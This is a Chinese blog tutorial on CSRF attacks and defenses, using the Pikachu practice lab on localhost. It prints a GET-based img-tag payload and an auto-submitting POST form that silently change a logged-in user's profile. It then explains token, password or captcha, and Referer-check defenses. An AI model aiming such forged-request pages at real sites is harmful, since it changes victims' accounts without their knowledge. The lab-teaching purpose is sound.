• CSRF漏洞利用与防御


    今天继续给大家介绍渗透测试相关知识,本文主要内容是CSRF漏洞利用与防御。

    免责声明:
    本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
    再次强调:严禁对未授权设备进行渗透测试!

    一、CSRF漏洞利用

    我们使用pikachu靶场进行CSRF漏洞的利用。

    (一)GET型CSRF漏洞攻击

    GET型CSRF漏洞靶场登陆后页面如下所示:
    在这里插入图片描述
    我们点击修改个人信息,就可以进入到修改个人信息的页面,如下所示:
    在这里插入图片描述
    成功修改个人信息后,如下所示:
    在这里插入图片描述
    在此过程中,我们使用Burpsuite抓包,数据包如下所示:
    在这里插入图片描述
    下面我们开始进行CSRF漏洞攻击演示。首先构造一个页面,页面只有一个img标签,标签的src属性设置为pikachu靶场更改电话号码的URL,靶场源码如下所示:

    <img src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=111&add=chain&email=vince%40pikachu.com&submit=submit">
    
    • 1

    我们在登录皮卡丘靶场的页面上,直接访问该页面,结果发现pukachu靶场中vince用户的个人信息被修改,结果如下所示:
    在这里插入图片描述
    这说明,我们在访问了特制的网页后,用户在不知情的情况下,个人信息被修改了。

    (二)POST型CSRF漏洞攻击

    POST型CSRF漏洞靶场登录后页面如GET型相同,但是在修改信息时的提交方式是POST,数据包如下所示:
    在这里插入图片描述
    针对这种情形,我们需要改动一下页面,页面如下所示:

     <html>
    <head>
    <script>
    window.onload = function() {
      document.getElementById("postsubmit").click();
    }
    script>
    head>
    <body>
    <form method="post" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
        <input id="sex" type="text" name="sex" value="boy" />
        <input id="phonenum" type="text" name="phonenum" value="1234567890" />
        <input id="add" type="text" name="add" value="chain" />
        <input id="email" type="text" name="email" value="vince@pikachu.com" />
        <input id="postsubmit" type="submit" name="submit" value="submit" />
    form>
    body>
    html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    在上述代码中,我们仿照pikachu靶场设置了一个提交框,并且用JavaScript代码实现了自动提交。
    访问该页面后,发现vince用户的个人信息又发生了改变,如下所示:
    在这里插入图片描述
    这说明,我们在访问了特制的网页后,用户个人信息又被修改了。

    二、CSRF漏洞防御

    针对CSRF漏洞,我们可以进行以下操作,以尽可能的封堵该漏洞,避免给用户造成损失。CSRF漏洞的防御主要有以下措施:
    1、增加Token机制
    在pikachu带有token的靶场下,数据包如下所示:
    在这里插入图片描述
    在这里插入图片描述
    从以上可以看出,数据包在发送时,会携带token的字段,并且不同的数据包会携带不同的token。
    我们还可以查看网站源代码,如下所示:
    在这里插入图片描述
    从上图中可以看出,在提交框中,有一个type为hiden的隐形input输入框,该输入框的值就是token的值。这个token会在请求网页时下发,并且在网页数据包提交后进行检查,从而使得攻击者控制用户发送的数据包失效。
    2、逻辑上,设置输入原密码,输入验证码等操作。
    实际上,token是最有效的防御CSRF漏洞的方式,除了使用token外,在业务逻辑上,对用户的关键操作要求输入原密码,或者是输入验证码等,也可以在一定程度上防御CSRF漏洞。
    3、检测referer头
    此外,referer头也是一个常见的CSRF漏洞防护措施,网站可以检测用户发送数据包的referer头,如果与本网站不一致,则说明该数据包疑似是CSRF诱导用户发送的数据包,进而采取措施。
    原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

  • 相关阅读:
    只需一行Python代码即可玩20几款小游戏
    题目 1240: 生日日数
    从 C 到 C++ 编程 — 面向对象编程
    视锥体裁剪射线的算法
    SpringBoot集成Redis主从架构实现读写分离(哨兵模式)
    浅谈前后端分离的网络拓扑
    关于天干地支及其计算
    英雄之盾-第11届蓝桥杯Scratch省赛真题第4题
    C#实验二
    MyBatis自定义映射resultMap,处理一对多,多对一
  • 原文地址:https://blog.csdn.net/weixin_40228200/article/details/128048876